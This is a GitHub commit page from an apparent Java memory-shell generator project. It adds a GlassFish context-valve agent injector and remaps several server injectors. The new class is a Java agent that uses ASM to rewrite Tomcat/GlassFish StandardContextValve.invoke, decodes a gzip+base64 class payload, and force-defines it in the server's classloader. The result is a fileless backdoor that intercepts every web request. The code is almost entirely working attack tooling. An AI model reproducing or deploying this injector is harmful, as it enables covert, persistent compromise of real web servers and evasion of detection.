Skip to content

Commit f68e330

Browse files
committed
refactor: simplify Tomcat AgentInjector
1 parent 94b6b00 commit f68e330

File tree

9 files changed

+456
-128
lines changed

9 files changed

+456
-128
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
package com.reajason.javaweb.memshell.server;
22

3+
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
4+
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
35
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
4-
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
5-
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
66
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
77
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
88
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
@@ -47,8 +47,8 @@ public InjectorMapping getShellInjectorMapping() {
4747
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
4848
.addInjector(VALVE, GlassFishValveInjector.class)
4949
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
50-
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
51-
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
50+
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
51+
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class)
5252
.build();
5353
}
5454
}

generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
package com.reajason.javaweb.memshell.server;
22

3+
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector;
4+
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector;
35
import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
46
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
57
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
@@ -27,8 +29,8 @@ public InjectorMapping getShellInjectorMapping() {
2729
.addInjector(FILTER, TomcatFilterInjector.class)
2830
.addInjector(VALVE, JbossValveInjector.class)
2931
.addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
30-
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
31-
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
32+
.addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class)
33+
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class)
3234
.build();
3335
}
3436
}

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,8 @@ public String getBase64String() throws IOException {
4646
}
4747

4848
/**
49-
* com.apusic.web.container.WebContainer
49+
* context: com.apusic.web.container.WebContainer
50+
* context -> webapp: com.apusic.deploy.runtime.WebModule
5051
* /usr/local/ass/lib/apusic.jar
5152
*/
5253
public List<Object> getContext() throws Exception {

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -96,6 +96,7 @@ public void inject(Object context, Object valve) throws Exception {
9696
return;
9797
}
9898
Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve");
99+
// com.bes.enterprise.webtier.core.DefaultPipeline
99100
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
100101
}
101102

Lines changed: 219 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,219 @@
1+
package com.reajason.javaweb.memshell.injector.glassfish;
2+
3+
import org.objectweb.asm.*;
4+
5+
import java.io.ByteArrayInputStream;
6+
import java.io.ByteArrayOutputStream;
7+
import java.lang.instrument.ClassFileTransformer;
8+
import java.lang.instrument.Instrumentation;
9+
import java.security.ProtectionDomain;
10+
import java.util.zip.GZIPInputStream;
11+
12+
/**
13+
* @author ReaJason
14+
* @since 2025/3/26
15+
*/
16+
public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
17+
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
18+
private static final String TARGET_METHOD_NAME = "invoke";
19+
20+
public static String getClassName() {
21+
return "{{advisorName}}";
22+
}
23+
24+
public static String getBase64String() {
25+
return "{{base64String}}";
26+
}
27+
28+
public static void premain(String args, Instrumentation inst) throws Exception {
29+
launch(inst);
30+
}
31+
32+
public static void agentmain(String args, Instrumentation inst) throws Exception {
33+
launch(inst);
34+
}
35+
36+
private static void launch(Instrumentation inst) throws Exception {
37+
System.out.println("MemShell Agent is starting");
38+
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
39+
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
40+
String name = allLoadedClass.getName();
41+
if (TARGET_CLASS.replace("/", ".").equals(name)) {
42+
inst.retransformClasses(allLoadedClass);
43+
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
44+
}
45+
}
46+
}
47+
48+
@Override
49+
@SuppressWarnings("all")
50+
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
51+
ProtectionDomain protectionDomain, byte[] bytes) {
52+
if (TARGET_CLASS.equals(className)) {
53+
defineTargetClass(loader);
54+
try {
55+
ClassReader cr = new ClassReader(bytes);
56+
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
57+
@Override
58+
protected ClassLoader getClassLoader() {
59+
return loader;
60+
}
61+
};
62+
ClassVisitor cv = getClassVisitor(cw);
63+
cr.accept(cv, ClassReader.EXPAND_FRAMES);
64+
return cw.toByteArray();
65+
} catch (Throwable e) {
66+
e.printStackTrace();
67+
}
68+
}
69+
return bytes;
70+
}
71+
72+
@SuppressWarnings("all")
73+
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
74+
return new ClassVisitor(Opcodes.ASM9, cv) {
75+
@Override
76+
public MethodVisitor visitMethod(int access, String name, String descriptor,
77+
String signature, String[] exceptions) {
78+
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
79+
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
80+
try {
81+
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
82+
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
83+
} catch (Throwable e) {
84+
e.printStackTrace();
85+
}
86+
}
87+
return mv;
88+
}
89+
};
90+
}
91+
92+
public static class AgentShellMethodVisitor extends MethodVisitor {
93+
private final Type[] argumentTypes;
94+
private final String className;
95+
96+
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
97+
super(Opcodes.ASM9, mv);
98+
this.argumentTypes = argTypes;
99+
this.className = className;
100+
}
101+
102+
@Override
103+
public void visitCode() {
104+
loadArgArray();
105+
Label tryStart = new Label();
106+
Label tryEnd = new Label();
107+
Label catchHandler = new Label();
108+
Label ifConditionFalse = new Label();
109+
Label skipCatchBlock = new Label();
110+
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
111+
112+
mv.visitLabel(tryStart);
113+
String internalClassName = className.replace('.', '/');
114+
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
115+
mv.visitInsn(Opcodes.DUP);
116+
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
117+
mv.visitInsn(Opcodes.SWAP);
118+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
119+
"java/lang/Object",
120+
"equals",
121+
"(Ljava/lang/Object;)Z",
122+
false);
123+
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
124+
mv.visitInsn(Opcodes.RETURN);
125+
mv.visitLabel(ifConditionFalse);
126+
mv.visitLabel(tryEnd);
127+
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
128+
mv.visitLabel(catchHandler);
129+
mv.visitInsn(Opcodes.POP);
130+
mv.visitLabel(skipCatchBlock);
131+
}
132+
133+
public void loadArgArray() {
134+
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
135+
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
136+
for (int i = 0; i < argumentTypes.length; i++) {
137+
mv.visitInsn(Opcodes.DUP);
138+
push(i);
139+
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
140+
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
141+
}
142+
}
143+
144+
@SuppressWarnings("all")
145+
public void push(final int value) {
146+
if (value >= -1 && value <= 5) {
147+
mv.visitInsn(Opcodes.ICONST_0 + value);
148+
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
149+
mv.visitIntInsn(Opcodes.BIPUSH, value);
150+
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
151+
mv.visitIntInsn(Opcodes.SIPUSH, value);
152+
} else {
153+
mv.visitLdcInsn(new Integer(value));
154+
}
155+
}
156+
157+
private int getArgIndex(final int arg) {
158+
int index = 1;
159+
for (int i = 0; i < arg; i++) {
160+
index += argumentTypes[i].getSize();
161+
}
162+
return index;
163+
}
164+
}
165+
166+
@SuppressWarnings("all")
167+
public static byte[] decodeBase64(String base64Str) throws Exception {
168+
Class<?> decoderClass;
169+
try {
170+
decoderClass = Class.forName("java.util.Base64");
171+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
172+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
173+
} catch (Exception ignored) {
174+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
175+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
176+
}
177+
}
178+
179+
@SuppressWarnings("all")
180+
public static byte[] gzipDecompress(byte[] compressedData) {
181+
ByteArrayOutputStream out = new ByteArrayOutputStream();
182+
GZIPInputStream gzipInputStream = null;
183+
try {
184+
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
185+
byte[] buffer = new byte[4096];
186+
int n;
187+
while ((n = gzipInputStream.read(buffer)) > 0) {
188+
out.write(buffer, 0, n);
189+
}
190+
return out.toByteArray();
191+
} catch (Exception e) {
192+
throw new RuntimeException(e);
193+
} finally {
194+
try {
195+
if (gzipInputStream != null) {
196+
gzipInputStream.close();
197+
}
198+
out.close();
199+
} catch (Exception ignored) {
200+
}
201+
}
202+
}
203+
204+
@SuppressWarnings("all")
205+
public void defineTargetClass(ClassLoader loader) {
206+
try {
207+
loader.loadClass(getClassName());
208+
return;
209+
} catch (ClassNotFoundException ignored) {
210+
}
211+
try {
212+
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
213+
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
214+
defineClass.setAccessible(true);
215+
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
216+
} catch (Exception ignored) {
217+
}
218+
}
219+
}

0 commit comments

Comments
 (0)